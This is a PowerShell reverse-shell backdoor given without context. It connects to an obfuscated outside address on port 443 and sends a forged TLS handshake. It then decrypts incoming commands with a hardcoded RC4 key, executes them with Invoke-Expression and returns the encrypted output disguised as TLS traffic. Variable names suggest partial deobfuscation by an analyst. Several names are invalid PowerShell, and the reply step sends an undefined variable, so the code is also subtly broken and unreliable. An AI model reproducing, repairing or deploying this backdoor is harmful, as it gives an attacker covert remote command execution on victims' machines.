$VAR1 = 0xf1,

0x6e,

0xcd,

0xc6,0x79,0x4c,0x66,0xd1,0x02,

0xf8,0x33,0xc4,0x86,

0xe7,0xa4,

0x35,0x8d,

0x69,0xbd,0xd2,0x1d,0x50,0xf5,0xfb,0xdf,0xec,0xaf,

0x0b,0x9e,0x53,

0xa4,0xd3

function Func1 {

param([int[]]$ARRAY\_TO\_FUNC, [int]$KEY)

$SOME\_STR = ""

foreach ($STEP in $ARRAY\_TO\_FUNC) {

$SOME\_STR += [char]($STEP -bxor $KEY)

}

return $SOME\_STR

}

function Func2 {

param (

[byte[]]$C2\_KEY,

[byte[]]$C2\_STRING

)

$RANGE = 0..255

$ZERO = 0

for ($COUNTER = 0; $COUNTER -lt 256; $COUNTER++) {

$ZERO = ($ZERO + $RANGE[$COUNTER] + $C2\_KEY[$COUNTER % $C2\_KEY.Length]) % 256

$RANGE[$COUNTER], $RANGE[$ZERO] = $RANGE[$ZERO], $RANGE[$COUNTER]

}

$COUNTER = 0

$ZERO = 0

$FIRST\_ARRAY = @()

foreach ($BYTE\_IN\_COMMAND in $C2\_STRING) {

$COUNTER = ($COUNTER + 1) % 256

$ZERO = ($ZERO + $RANGE[$COUNTER]) % 256

$RANGE[$COUNTER], $RANGE[$ZERO] = $RANGE[$ZERO], $RANGE[$COUNTER]

$KEY\_FROM\_RANGE = $RANGE[($RANGE[$COUNTER] + $RANGE[$ZERO]) % 256]

$FIRST\_ARRAY += ($BYTE\_IN\_COMMAND -bxor $KEY\_FROM\_RANGE)

}

return ,$FIRST\_ARRAY

}

function Func3 {

param ([string]$C2\_COMMAND)

$UTF-8\_ENCODED\_STR = [System.Text.Encoding]::UTF8.GetBytes($C2\_COMMAND)

$ARRAY\_TO\_FUNC = (Func2 -C2\_KEY $VAR1 -C2\_STRING $UTF-8\_ENCODED\_STR) + (0x02,0x04,0x06,0x08)

$REVERSED\_BYTES\_ARRAY = [System.BitConverter]::GetBytes([int16]$ARRAY\_TO\_FUNC.Length)

[Array]::Reverse($REVERSED\_BYTES\_ARRAY)

return (0x17, 0x03, 0x03) + $REVERSED\_BYTES\_ARRAY + $ARRAY\_TO\_FUNC

}

function Func4 {

$XORED\_222\_STR = (Func1 -ARRAY\_TO\_FUNC @(168,187,172,183,184,167,240,186,171,169,176,177,176,186,187,172,240,189,177,179) -KEY 222)

$DOMAIN = [System.Text.Encoding]::ASCII.GetBytes($XORED\_222\_STR)

$DOMAIN\_LEN \_BE = [byte[]] ([BitConverter]::GetBytes([UInt16]$DOMAIN.Length))

[Array]::Reverse($DOMAIN\_LEN \_BE)

$00+DOMAIN+DOMAIN\_LEN = @(0x00) + $DOMAIN\_LEN \_BE + $DOMAIN

$00+DOMAIN+DOMAIN+LEN\_BE = [byte[]] ([BitConverter]::GetBytes([UInt16]$00+DOMAIN+DOMAIN\_LEN.Length))

[Array]::Reverse($00+DOMAIN+DOMAIN+LEN\_BE)

$SUM\_OF\_DOMAIN+DOMAIN\_LEN\_BE\_AND\_DOMAIN+DOMAIN\_LEN = $00+DOMAIN+DOMAIN+LEN\_BE + $00+DOMAIN+DOMAIN\_LEN

$THIS\_ABOVE\_BE = [byte[]] ([BitConverter]::GetBytes([UInt16]$SUM\_OF\_DOMAIN+DOMAIN\_LEN\_BE\_AND\_DOMAIN+DOMAIN\_LEN.Length))

[Array]::Reverse($THIS\_ABOVE\_BE)

$B8BB88BBBB8B88B8 = @(0x00,

0x00) + $THIS\_ABOVE\_BE + $SUM\_OF\_DOMAIN+DOMAIN\_LEN\_BE\_AND\_DOMAIN+DOMAIN\_LEN

$VAR2 = @(0x00, 0x0b,0x00,0x04,0x03,0x00,0x01,0x02,

0x00,0x0a,0x00,0x16,0x00,0x14,0x00,0x1d,0x00,0x17,0x00,0x1e,0x00,0x19,0x00,0x18,0x01,0x00,0x01,0x01,0x01,0x02,0x01,0x03,0x01,0x04,

0x00,0x23,0x00,0x00,

0x00,0x16,0x00,0x00,

0x00,0x17,0x00,0x00,

0x00,0x0d,0x00,0x1e,0x00,0x1c,0x04,0x03,0x05,0x03,0x06,0x03,0x08,0x07,0x08,0x08,0x08,0x09,0x08,0x0a,0x08,0x0b,0x08,0x04,0x08,0x05,0x08,0x06,0x04,0x01,0x05,0x01,0x06,0x01,

0x00,0x2b,0x00,0x03,0x02,0x03,0x04,

0x00,0x2d,0x00,0x02,0x01,0x01,

0x00,0x33,0x00,0x26,0x00,0x24,0x00,0x1d,0x00,0x20,

0x35,0x80,0x72,0xd6,0x36,0x58,0x80,0xd1,0xae,0xea,0x32,0x9a,0xdf,0x91,0x21,0x38,0x38,0x51,0xed,0x21,0xa2,0x8e,0x3b,0x75,0xe9,0x65,0xd0,0xd2,0xcd,0x16,0x62,0x54)

$BB88BB8BB88BB88B = $B8BB88BBBB8B88B8 + $VAR2

$BBBB8B88888888B8 = [byte[]] ([BitConverter]::GetBytes([UInt16]$BB88BB8BB88BB88B.Length))

[Array]::Reverse($BBBB8B88888888B8)

$ABOBA = @(0x03,0x03,0x00,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x0c,

0x0d,0x0e,0x0f,

0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,

0x18,

0x19,0x1a,0x1b,0x1c,0x1d,0x1e,0x1f,0x20,0xe0,0xe1,

0xe2,0xe3,0xe4,0xe5,0xe6,0xe7,0xe8,0xe9,0xea,0xeb,0xec,0xed,0xee,0xef,0xf0,0xf1,0xf2,0xf3,0xf4,0xf5,0xf6,0xf7,0xf8,0xf9,0xfa,

0xfb,0xfc,0xfd,0xfe,0xff,0x00,0x08,0x13,0x02,0x13,0x03,0x13,0x01,0x00,0xff,0x01,0x00)

$BB8B8BBBB88B8B8B = $ABOBA + $BBBB8B88888888B8 + $BB88BB8BB88BB88B

$BB8BBB88B8B8B888 = [byte[]] ([BitConverter]::GetBytes($BB8B8BBBB88B8B8B.Length))

[Array]::Reverse($BB8BBB88B8B8B888)

$BBB88BBB888B8B8B = @(0x01) + $BB8BBB88B8B8B888[1..3] + $BB8B8BBBB88B8B8B

$B88B888B8BB8BBBB = [byte[]] ([BitConverter]::GetBytes([UInt16]$BBB88BBB888B8B8B.Length))

[Array]::Reverse($B88B888B8BB8BBBB)

$BBB888888BB88B88 = @(0x16,

0x03, 0x01) + $B88B888B8BB8BBBB + $BBB88BBB888B8B8B

return ,$BBB888888BB88B88

}

$CLIENT = New-Object System.Net.Sockets.TcpClient

$CLIENT.Connect((Func1 -ARRAY\_TO\_FUNC @(5,7,25,2,25,3,15,25,5,7,7) -KEY 55), ((50 \* 9) - (11 \* 2)) + [math]::Pow(2, 3) + [math]::Sqrt(49))

$TCP\_STREAM = $CLIENT.GetStream()

$FUNC4\_RET = Func4

$TCP\_STREAM.Write($FUNC4\_RET, 0, $FUNC4\_RET.Length)

$OBJECT\_READ\_TO = New-Object byte[] 16384

$TCP\_STREAM.Read($OBJECT\_READ\_TO, 0, $OBJECT\_READ\_TO.Length) | Out-Null

while ($true) {

$OBJECT\_READ\_TO = New-Object byte[] 16384

try {

$MAX\_RANGE = $TCP\_STREAM.Read($OBJECT\_READ\_TO, 0, 16384)

} catch {

break

}

$ARRAY\_TO\_FUNC = $OBJECT\_READ\_TO[5..($MAX\_RANGE - 1)]

$UTF8\_ENCODED\_STRING = [System.Text.Encoding]::UTF8.GetString((Func2 -C2\_KEY $VAR1 -C2\_STRING $ARRAY\_TO\_FUNC))

if ($UTF8\_ENCODED\_STRING -eq (Func1 -ARRAY\_TO\_FUNC @(109,112,97,124) -KEY 8)) { break } # exit

try {

$EXPRESSION\_RESULT = (Invoke-Expression $UTF8\_ENCODED\_STRING 2>&1) | Out-String

} catch {

$EXPRESSION\_RESULT = (Func1 -ARRAY\_TO\_FUNC @(186,141,141,144,141) -KEY 255)

} # Error

$TRIMED\_STR = Func3 -C2\_COMMAND $EXPRESSION\_RESULT.Trim()

$TCP\_STREAM.Write($BBBB8BB88BB888B8, 0, $BBBB8BB88BB888B8.Length)

}

$TCP\_STREAM.Close()

$CLIENT.Close()